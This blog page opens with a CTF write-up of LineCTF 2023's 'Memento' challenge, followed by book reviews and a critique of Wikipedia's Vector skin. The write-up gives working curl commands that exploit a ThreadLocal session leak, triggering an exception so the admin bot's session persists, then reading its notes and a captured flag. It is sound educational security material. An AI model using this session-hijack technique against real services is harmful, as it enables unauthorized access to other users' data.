Wednesday, March 29, 2023

CTF Writeup: Memento from LineCTF 2023

 Over the weekend I participated in LineCTF 2023. This was a really fun CTF with lots of great web challenges. Often web challenges in CTFs are either really contrived, really guessy or really easy. It was nice to see a CTF with a large number of high quality web challenges that were challenging while still feeling realistic and not guess based.

Overall I didn't get too many challenges during the competition. However I did solve one challenge that nobody else did: Memento. It was the only web challenge to have only one solve, and I honestly feel pretty proud of myself for getting it. Not to mention that it makes me feel a lot better about having no idea how to solve most of the other problems :). In the end I came 28th with 601 points.

The challenge

We are given a Java Spring application that allows you to store notes and view the list of notes you have previously stored. The notes themselves are not access controlled, but are stored under an unguessable UUID. There is an admin bot which you can ask to look at a url. If you do, it will store a note containing the flag and then look at the url of your choosing.

To trigger this bot action there is a a /bin/report endpoint:

    @RequestMapping("/report")
    public String report(@RequestParam String urlString) throws Exception {
        URL url = new URL(urlString);
        HttpClient.newHttpClient().send(HttpRequest.newBuilder(new URI("http://memento-admin:3000/?url=" + url.getPath())).build(), HttpResponse.BodyHandlers.ofString()).body();
        return "redirect:/" + url.getPath() + "#reported";
    }

 

Which then triggers a node.js app that runs headless chromium:

            // post flag as anonymous user
            console.log(origin + "/bin/create");
            await page.goto(origin + "/bin/create");
            await page.type("textarea", FLAG);
            await page.click("button");

            // visit to reported url
            await page.goto(origin + url);

 

The other important endpoints is the list and create endpoints:

    @GetMapping("/list")
    public String binList(Model model) {
        if (authContext.userid.get() == null) return "redirect:/";
        model.addAttribute("bins", userToBins.get(authContext.userid.get()));
        return "list";
    }


    @PostMapping("/create")
    public String create(@RequestParam String bin) {
        String id = UUID.randomUUID().toString();
        if (userToBins.get(authContext.userid.get()) == null) {
            userToBins.put(authContext.userid.get(), new ArrayList<String>());
        }
        userToBins.get(authContext.userid.get()).add(id);
        idToBin.put(id, bin);
        return "redirect:/bin/" + id;
    }

 

Not an XSS

At first glance, i assumed this was going to be some sort of XSS. Typically when you see a bot process that does something with confidential data then goes to a url of your choosing it is some sort of client side vulnerability. However, i looked, and there was clearly no opportunity for XSS or more obscure client-side data leaks.

If not XSS, then where to next? If its not client side, we must need to get the secret note directly somehow. Guessing the UUID seemed impossible, so that left the /list endpoint. Clearly we needed some way to see the list of the admin bot's notes. With that in mind, maybe there is something about session generation that would allow us to steal their session. Here is the session auth code:

public class AuthInterceptor implements HandlerInterceptor {

    @Autowired
    private AuthContext authContext;

    private static String COOKIE_NAME = "MEMENTO_TOKEN";

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        Cookie cookie = WebUtils.getCookie(request, COOKIE_NAME);
        if (cookie != null && !cookie.getValue().isEmpty()) {
            try {
                String token = cookie.getValue();
                String userid = JwtUtil.verify(token);
                authContext.userid.set(userid);
                return true;
            } catch (Exception e) {
                // Failed to verify jwt
            }
        }
        String userId = UUID.randomUUID().toString();
        cookie = new Cookie(COOKIE_NAME, JwtUtil.sign(userId));
        cookie.setPath("/");
        response.addCookie(cookie);
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        authContext.userid.remove();
    }
}

public class AuthContext {
    public ThreadLocal<String> userid = new ThreadLocal<String>();
}

Alright, so the app checks if the user has a cookie. If not, gives them a new JWT cookie with a session id. The current user's id is stored in thread local storage at the beginning of the request, and cleared at the end of the request.

First thing I tried was the usual JWT vulns, setting alg = NonE, etc but to no avail.

However, one thing did stand out in this code - the postHandle. The current user id is essentially being stored in a (thread specific) global variable. I'm not that familiar with Java, but given that it is explicitly being cleared towards the end of the request, one assumes that that is neccessary and otherwise the thread local storage would persist across HTTP requests.

Attacking session lifetime

Thus an (incorrect) plan started to form based on a session fixation attack:

  • Somehow cause postHandle() not to be run at the end of the request
  • Send a request to fix the session to one of my choosing
  • Have the admin bot go post something under my chosen session
  • View the /bin/list endpoint with my chosen session cookie, thus getting the id of the flag note
  • Fetch the flag

I'll get to the incorrect assumption I made here in a little bit. First things first, how do we make postHandle() not run?

We need some way to change the control flow of the process to bypass the postHandle. A good way to alter the control flow of a program is to throw an exception. Luckily for us, java requires methods to annotate if they throw exceptions so its really easy to see possible triggers. As we can see from the code, the report endpoint can throw an exception. A quick look at the Java docs shows that the URI constructor can throw a "URISyntaxException - If the given string violates RFC 2396, as augmented by the above deviations".

This all sounds very promising. After all, we control the URL that we are reporting. Some quick experiments later, and it seems like having a url with %7F in it triggers a 500 error. This looks really promising.

So lets test this theory. Can we retrieve the bin list without specifying the cookie?

curl 'http://172.17.0.1:10000/bin/create' --data 'bin=MyTest' -i -H 'Cookie: MEMENTO_TOKEN=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4ZDA3NDY5ZC1jMmM5LTRkNzItYWMyYS0xZjRkMTA4YmFjMDAifQ.MtOeLRzaBI_y97M_Pr0eQ56bZwVia2tMGpUspj_NEGg' | grep Location

Location: http://172.17.0.1:10000/bin/bcab05e5-2fb6-4b8c-aed5-1a18c5fde4be

curl 'http://172.17.0.1:10000/bin/report?urlString=http://172.17.0.1:10000/bin/%7f' -i -H 'Cookie: MEMENTO_TOKEN=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4ZDA3NDY5ZC1jMmM5LTRkNzItYWMyYS0xZjRkMTA4YmFjMDAifQ.MtOeLRzaBI_y97M_Pr0eQ56bZwVia2tMGpUspj_NEGg'

{"timestamp":"2023-03-29T14:35:17.546+00:00","status":500,"error":"Internal Server Error","path":"/bin/report"}

curl 'http://172.17.0.1:10000/bin/list' -i

[Repeat a few times to account for multiple threads]

[..]

            <tr class="row">
                <td>
                    <a href="/bin/bcab05e5-2fb6-4b8c-aed5-1a18c5fde4be">bcab05e5-2fb6-4b8c-aed5-1a18c5fde4be</a>
                </td>
            </tr>
[..]


Success! We were able to run the list command getting the results for the previous user without including their cookie.

Translating to a real attack

Initially my plan of attack was:

  • Make the exception be thrown to fix the session. Repeat several times to hit all the threads
  • Report a url
  • Assume the admin bot will make a post to a thread that has the fixed session
  • View the list endpoint using my cookie

This did not work. So I took another look at what the admin bot actually does:

            // post flag as anonymous user
            console.log(origin + "/bin/create");
            await page.goto(origin + "/bin/create");
            await page.type("textarea", FLAG);
            await page.click("button");

            // visit to reported url
            await page.goto(origin + url);

I had originally saw the "// post flag as anonymous user" comment, and assumed that meant that normally it is posted without any cookies. However that is wrong. First the bot makes a GET request to load the form, which sets up the cookies. Thus the flag POST is actually authenticated and not anonymous.

This lead to a new plan of attack:

  • Have the reported url, which the bot goes to after posting the flag trigger the exception
  • The session will now be fixed to whatever was used to POST the flag
  • View the list of notes with no cookie, repeating multiple times until we get the thread with the fixed session that the admin bot used.

Specificly, we'll do:

curl 'http://176.17.0.1:10000/bin/report?urlString=http://176.17.0.1:10000/bin/report%253furlString=http://176.17.0.1:10000/bin/%257f'

followed by a bunch of

curl 'http://34.84.65.148:31337/bin/list'

Eventually I got the list including the name of the note with the flag, and curled that note.

Success!

Then i tried it on the real server, but kept getting 404 not found from openresty. Eventually I realized there was an additional cookie i needed for the real server. Guess I was pretty tired at that point. Once I fixed that, we succeeded:

LINECTF{d43f859493cc297c18c68ad241ba04de}

Conclusion

This was a fun challenge. One that was very fresh, but also seemed realistic.

I will say to all the PHP haters out there, that this sort of thing could never happen in php ;)


Thursday, March 2, 2023

Book review: Bag of Bones by Stephen King


 This was the first Stephen King book I have ever read. As a general rule I haven't read much horror, so I wasn't sure what to expect. I suppose monsters and ghosts chasing people. It ended up being quite different than that, particularly in the first half.

The story follows Mike Noonan, who is a novelist mourning the death of his late wife. Ever since his wife died he is unable to write anything. Eventually he is drawn to his vacation cabin in Maine, where he becomes involved in the plight of a young single mother Mattie and her custody battle with the rich evil father of her late husband. Later the plot becomes entwined with the vengeful spirit of the victim of a historical hate crime and a curse that she places upon the residents of the town.

I think this story can be divided into three parts: Before the cabin, Mattie's family drama, and the vengeful spirits. The parts seem quite different to me in tone, almost to the point of feeling like different novels with a connected plot. I liked the first two parts a lot, but was not particularly fond of the last ending part.

In the first part, we get to know the depressed, mourning Mike Noonan, who is struggling with writer's block. And not just writer's block, but general existential angst of what is the point of his life if he cannot write. This section reminded me of Dying Inside by Robert Silverburg, and I was wondering if I was getting a book similar to that one: a very inward facing character driven novel. However, this section turned out to be more of an introduction and after a few chapters, the plot moves forward to his relationship with Mattie - still fairly character driven, but not inward facing like the beginning was.

In the second part, we start to see Mike come alive again with his romance with the much younger Mattie (I'm going to zoom right past the age difference. Everything sex related in this novel is kind of off-putting and creepy). We have a distinctly creepy villain in Mattie's father in law, Max. There is an episode where the elderly Max tries to drown Mike, which is both terrifying and morbidly hilarious. On the whole I liked this part of the novel. It was exciting and dramatic, while also allowing Mike's character to shine through.

The final part of the novel is where things went a bit off the rails for me. Mattie is murdered and we transition to a ghost story about a ghost, whose son was murdered in a hate crime and curses the village out of grief. While the ghost is motivated to vengeance out of the terrible crime that befell her, by the time our novel takes place, the ghost is totally consumed by vengence and dehumanized. No amount of flashing back to the past can fix the lack of character in the present. There is a dramatic plot sequence with the ghost attacking, but there is no nuance, and the ghost is too far gone to be a sympathetic character, or a character at all. Perhaps this was meant to be a foil to how the other characters dealt with grief, or something along those lines, but it felt like it just didn't work for me. It honestly felt like a different book, with a somewhat boring, mindless villain pursing the main character, and the main character having to outwit it in an action sequence.

Anyways, overall I liked this novel. It both was and wasn't what I expected. The ending was all the negative things I don't like about horror novels, while the beginning was truly interesting.

As a final aside, Stephen King should not write sex scenes. At first I thought they were intentionally off-putting to hint that something was off about the main character, but turns out, no, that's just how King writes sex scenes. The book would be much better without them.

Sunday, January 22, 2023

Book review: Riddley Walker

 

This is a rather unique book. It tells the odyssey of the eponymous Riddley Waler who lives in a far future dystopia after a nuclear war reduced human civilization back to the iron age. Essentially, a series of events happen that lead to the protagonist being forced to leave his community where he interacts with the larger post-apocalyptic society he finds himself in and its various political, mythological and philosophical elements, stumbles upon the re-invention of gun powder, and in the end becomes a traveling story teller.

Plenty of books have been written with the premise of nuclear war destroying civilization. What makes this book unique is the writing style. To signify that significant time has passed, all the spelling in the book is non-standard. For example, here is a quote:

The worl is ful of things waiting to happen. Thats the meat and boan of it right there. You myt think you can jus go here and there doing nothing. Happening nothing. You cant tho you bleeding cant. You put your self on any road and some thing wil show its self to you. Wanting to happen. Waiting to happen. You myt say, 'I dont want to know.' But 1ce its showt its self to you you wil know wont you. You cant not know no mor. There it is and working in you. You myt try to put a farness be twean you and it only you cant becaws youre carrying it inside you. The waiting to happen aint out there where it ben no more its inside you.

As you can imagine, this is pretty frustrating to read a times. Sometimes I think something means something, and discover chapters later that I misinterpreted it. I suspect if I read it a second time I would get a lot more out of it, but I also don't know I want to. At the same time I'm glad I read it at least once. It does feel quite different from any other books I've read.

One of things I like most about this book is the world truly feels alien. Too often science fiction books have aliens with superficial differences that feel basically the same as any modern day western culture. Although these are of course not aliens, I really did feel that this book depicted a society very different from our contemporary society. It wasn't just America with one quirk changed.

A large part of the book deals with the myth around "Eusa". I originally thought that this was talking about the United States and nuclear war, but it appears it is actually about St. Eustace. Or perhaps the intention is to be both? It is certainly interesting when reading this book how you can think one thing and then end up re-evaluating it all later.

The most closest comparison to another book is probably certain scenes in Cloud Atlas, although it seems that David Mitchell was taking very direct inspiration from this novel. However if you ignore the unique language, I think The Shadow of the Torturer is kind of similar. Which is interesting, as I didn't really like that book, but I got the same sort of feel from it. I suppose its the journey through a different world vibe that is similar.

In conclusion, certainly an interesting book but also a very frustrating book. I liked it but I don't think I would ever want to read it again.


Friday, January 20, 2023

The Vector-pocalypse is upon us!

 

tl;dr: [[WP:IDONTLIKEIT]]

Yesterday, a new version of the Vector skin was made default on English Wikipedia.

As will shock absolutely no one who pays attention to Wikipedia politics, the new skin is controversial. Personally I'm a Timeless fan and generally have not liked what I have seen of new vector when it was in development. However, now that it is live I thought I'd give it another chance and share my thoughts on the new skin. For reference I am doing this on my desktop computer which has a large wide-screen monitor. It looks very different on a phone (I actually like it a lot better on the phone). It might even look different on different monitors with different gamuts.


So the first thing that jumps out is there is excessive whitespace on either side of the page. There is also a lot more hidden by default, notably the "sidebar" which is a prominent feature on most skins. One minor thing that jumps out to me is that echo notifications look a little wonky when you have more than 100 of them.

On the positive though, the top bar does look very clean. The table of contents is on the left hand side and sticky (Somewhat similar to WikiWand), which I think is a nice change.

When you scroll, you notice the top bar scrolls with it but changes:

On one hand, this is quite cool. However on reflection I'm not sure if I feel this is quite worth it. It feels like this sticky header is 95% of the way to working but just not quite there. The alignment with the white padding on the right (I don't mean the off-white margin area but the area that comes before that) seems slightly not meeting somehow. Perhaps i am explaining it poorly, but it feels like there should be a division there since the article ends around the pencil icon. Additionally, the sudden change makes it feel like you are in a different context, but it is all the same tools with different icons. On the whole, I think there is a good idea here with the sticky header, but maybe could use a few more iterations.

If you expand the Sidebar menu, the result feels very ugly and out of place to me:


idk, I really hate the look of it, and the four levels of different off-whites. More to the point, one of the key features of Wikipedia is it is edited by users. To get new users you have to hook people into editing. I worry hiding things like "learn to edit" will just make it so people never learn that they can edit. I understand there is a counter-point here, where overwhelming users with links makes users ignore all of them and prevents focus on the important things. I even agree somewhat that there are probably too many links in Monobook/traditional vector. However having all the links hidden doesn't seem right either.


On the fixed width

One of the common complaints is that the fixed width design wastes lots of screen real estate. The counter argument is studies suggest that shorter line lengths improve readability.

As a compromise there is a button in the bottom right corner to make it use the full screen. It is very tiny. I couldn't find it even knowing that it is supposed to be somewhere. Someone had to tell me that it is in the lower-right corner. So it definitely lacks discoverability.

Initially, I thought I hated the fixed-width design too. However after trying it out, I realized that it is not the fixed width that I hate. What I really hate is:

  • The use of an off-white background colour that is extremely close to the main background colour
  • Centering the design in the screen

 I really really don't like the colour scheme chosen. Having it be almost but not quite the same colour white really bothers my eyes.

I experimented with using a darker colour for more contrast and found that I like the skin much much better. Tastes vary of course, so perhaps it is just me. Picking a dark blue colour at random and moving the main content to the left looks something like:


 

 Although I like the contrast of the dark background, my main issue is that in the original the colours are almost identical, so even just making it a slightly more off-white off-white would be fine. If you want to do a throwback to monobook, something like this looks fine to me as well:



I don't really know if this is just my particular tastes or if other people agree with me. However, making it more left aligned and increasing the contrast to the background makes the skin go from something I can't stand to something I can see as usable.